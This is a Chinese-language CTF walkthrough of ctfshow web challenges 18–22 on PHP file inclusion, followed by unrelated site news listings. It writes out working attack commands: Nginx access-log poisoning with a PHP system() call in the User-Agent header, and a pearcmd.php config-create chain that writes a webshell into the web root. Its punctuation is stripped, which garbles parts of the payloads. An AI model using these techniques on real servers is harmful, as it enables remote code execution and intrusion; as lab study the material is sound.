CTFSHOW-WEB(萌新18-22)
web181.本题比上一题多过滤了一个file但是和上一题的思路一样Nginx 访问日志路径/var/log/nginx/access.log不包含 php、file 这两个被拦截字符串所以上一题的日志投毒方法依然可以直接使用。2.按照上面的思路我们直接进行操作日志投毒注入 PHP 代码进 Nginx 日志curl -H User-Agent: ?php system(cat *);? https://e2e6db13-f807-461a-b278-4c693d08c265.challenge.ctf.show/这个是可以直接在自己的终端打开然后输入这个指令进行操作的访问包含日志触发代码执行打开浏览器访问链接https://e2e6db13-f807-461a-b278-4c693d08c265.challenge.ctf.show/?c/var/log/nginx/access.log然后查看页面源代码即可看到flag3.或者如果是用bp抓包的话也可以访问靶场首页抓包发送到 Repeater修改请求头User-Agent: ?php system(cat *);?Send 发送投毒再构造 GET 请求GET /?c/var/log/nginx/access.log HTTP/1.1发送响应内容里寻找ctfshow{}web191.这里又多过滤了一个base编码但是好像和我们的方法没什么冲突可以继续执行按照上一题步骤继续执行就是靶场地址改一下就行了web20-web21和上面的一样web221.这个题目和上面的有不一样了他过滤了/禁止传路径并且后面会自动加上一个.php的后缀所以说不能和上面投毒一样三重限制让前面所有日志投毒、伪协议方案全部失效禁止冒号:→ 废掉php://、data://所有流伪协议禁止/和\→ 不能使用绝对路径、目录穿越、Nginx 日志路径/var/log/nginx/access.log自动追加.php→ include 最终加载传入的值.php只能包含 php 后缀文件2.curl 发送请求写入 shell.phpcurl 将未经转义的原始字符串发送到靶场/tmp/?readfile(36d.php)?$cpearcmd通过过滤规则执行include(pearcmd.php)PHP 开启register_argc_argvOn查询字符串按照分割填充$_SERVER[argv]pearcmd 接收config-create命令生成 PEAR 序列化配置文件原样保存我们传入的? ... ?文件写入网站根目录/var/www/html/shell.phpcurl https://00907d9c-d2dd-48e1-98b5-b1055cb38527.challenge.ctf.show/?cpearcmdconfig-create/tmp/?readfile(36d.php)?/var/www/html/shell.php外层双引号作用让终端把整条链接当成单个参数防止被系统识别为后台运行指令。3.浏览器访问触发代码执行$cshell放行执行include(shell.php)PHP include 机制不校验文件后缀、不校验文件头部全文扫描寻找 PHP 标签文本内找到短标签?readfile(36d.php)?立刻执行readfile()读取 flag 文件36d.php直接输出源码得到 flaghttps://00907d9c-d2dd-48e1-98b5-b1055cb38527.challenge.ctf.show/?cshell

相关新闻

腾讯云OpenClaw智能开发平台一键部署与优化指南

腾讯云OpenClaw智能开发平台一键部署与优化指南

1. OpenClaw与Clawdbot项目概述 OpenClaw(又称Clawdbot)是腾讯云生态中快速崛起的一站式智能开发平台,它通过模块化技能包(Skills)和可视化编排能力,让开发者能够快速构建AI应用。这个平台最吸引人的特点在…

2026/8/4 14:07:12 阅读更多 →
低代码平台选型:交付能力与可视化开发的平衡之道

低代码平台选型:交付能力与可视化开发的平衡之道

1. 低代码平台的本质矛盾:交付能力与可视化开发的博弈 在2023年企业数字化转型调研报告中,一个令人震惊的数据是:采用低代码平台的企业中,有67%的项目最终未能达到预期业务目标。而在这67%的失败案例中,89%的问题根源并…

2026/8/4 14:07:11 阅读更多 →
7个步骤掌握Illustrator智能填充:Fillinger脚本完整指南

7个步骤掌握Illustrator智能填充:Fillinger脚本完整指南

7个步骤掌握Illustrator智能填充:Fillinger脚本完整指南 【免费下载链接】illustrator-scripts Adobe Illustrator scripts 项目地址: https://gitcode.com/gh_mirrors/il/illustrator-scripts Illustrator智能填充脚本Fillinger是Adobe Illustrator中最强大…

2026/8/4 14:06:11 阅读更多 →

最新新闻

Godot项目逆向工程实战:从PCK包与字节码恢复可编辑源码

Godot项目逆向工程实战:从PCK包与字节码恢复可编辑源码

1. 项目概述:当你的Godot项目“失联”时在游戏开发这条路上,我见过太多同行因为一次误操作、一次硬盘故障,或者仅仅是接手一个“祖传”的、只有导出包的Godot项目而陷入困境。你手头可能只有一个孤零零的.pck文件,或者一堆看似天书…

2026/8/4 15:08:41 阅读更多 →
英雄联盟智能助手:3步快速上手的终极游戏效率工具完整指南

英雄联盟智能助手:3步快速上手的终极游戏效率工具完整指南

英雄联盟智能助手:3步快速上手的终极游戏效率工具完整指南 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power 🚀. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit 你是否曾在英雄选择阶段…

2026/8/4 15:08:41 阅读更多 →
技术架构创新:多平台网盘直链解析引擎的设计与实现

技术架构创新:多平台网盘直链解析引擎的设计与实现

技术架构创新:多平台网盘直链解析引擎的设计与实现 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ,支持 百度网盘 / 阿里云盘 / 中国移动云盘 / 天翼云盘…

2026/8/4 15:08:41 阅读更多 →
免费解锁WeMod高级功能:开源增强工具Wand-Enhancer完整指南

免费解锁WeMod高级功能:开源增强工具Wand-Enhancer完整指南

免费解锁WeMod高级功能:开源增强工具Wand-Enhancer完整指南 【免费下载链接】Wand-Enhancer Advanced UX and interoperability extension for Wand (WeMod) app 项目地址: https://gitcode.com/GitHub_Trending/we/Wand-Enhancer 还在为WeMod的高级功能付费…

2026/8/4 15:08:41 阅读更多 →
STM32标准库GPIO函数深度解析:从寄存器封装到实战应用

STM32标准库GPIO函数深度解析:从寄存器封装到实战应用

这次我们来彻底拆解 STM32 标准库中的 GPIO 库函数。对于很多从 Arduino 或 51 单片机转向 STM32 的开发者来说,标准库(Standard Peripheral Library)是第一个需要跨越的门槛。而 GPIO 作为最基础、最常用的外设,其库函数的使用和…

2026/8/4 15:08:41 阅读更多 →
汇川PLC 运动控制

汇川PLC 运动控制

汇川 Inovance(H3U / H5U / Easy 系列 AutoShop) 伺服:SV630 / SV660N 系列 目录 概述:什么是运动控制 运动控制系统组成 核心术语(必须吃透) 三种控制模式 硬件选型与接线 AutoShop 轴配置全流程…

2026/8/4 15:07:40 阅读更多 →

日新闻

AI Agent白手起家26: 使用标准事件驱动大模型实践

AI Agent白手起家26: 使用标准事件驱动大模型实践

纲要 练习目标:掌握大模型标准事件的调用回顾 LangChain 中的核心标准事件 invokestreambatchastream_eventswith_structured_output 环境准备实战代码:多种事件调用对比 同步调用与流式输出批量处理异步事件流监听结构化输出 运行说明与预期结果总结与扩…

2026/8/4 0:00:40 阅读更多 →
dealsea是什么?跨境卖家必知的美国deal站入门指南

dealsea是什么?跨境卖家必知的美国deal站入门指南

说实话,第一次听说美国这个老牌折扣网站的跨境卖家,十个有八个会问同一个问题:这个平台到底是干嘛的?我见过一个做家居出口的朋友,他在亚马逊上月销二十万美金,却从来没用过它。我给他看了首页——一屏一屏…

2026/8/4 0:01:40 阅读更多 →
清华大学重磅EST:植物自导电闪蒸焦耳热600°C/2600°C两步法!稀土超积累植物秒级转化为CeO₂-石墨烯电催化剂!

清华大学重磅EST:植物自导电闪蒸焦耳热600°C/2600°C两步法!稀土超积累植物秒级转化为CeO₂-石墨烯电催化剂!

通讯作者:邓兵、刘建国通讯单位:清华大学DOI:https://doi.org/10.1021/acs.est.6c00603研究背景稀土元素(REEs)是清洁能源技术与电子器件不可或缺的核心原料,然而传统提取方式依赖能耗高、排放大的采矿与强…

2026/8/4 0:01:40 阅读更多 →

周新闻

最大流算法详解:从水管网络到Ford-Fulkerson与Dinic实战

最大流算法详解:从水管网络到Ford-Fulkerson与Dinic实战

1. 从水管网络到最大流:一个核心问题的诞生想象一下,你是一个城市供水系统的总工程师。你的城市有多个水源(水库),需要通过一个复杂的地下管道网络,将水输送到各个居民区。每条管道都有其最大通水能力&…

2026/8/4 13:24:41 阅读更多 →
基于Springboot的企业门户网站(源码+LW+调试文档+讲解)

基于Springboot的企业门户网站(源码+LW+调试文档+讲解)

温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台…

2026/8/4 11:41:39 阅读更多 →
MATLAB xcorr函数详解:从互相关原理到四大实战应用

MATLAB xcorr函数详解:从互相关原理到四大实战应用

1. 从一次信号“找茬”说起:为什么我们需要互相关几年前,我在处理一组声学传感器数据时遇到了一个棘手的问题。我有两个麦克风记录了一段相同的音频信号,理论上它们接收到的声音波形应该非常相似,只是由于麦克风位置不同&#xff…

2026/8/4 5:26:40 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/4 13:38:24 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/4 11:09:16 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/4 13:38:40 阅读更多 →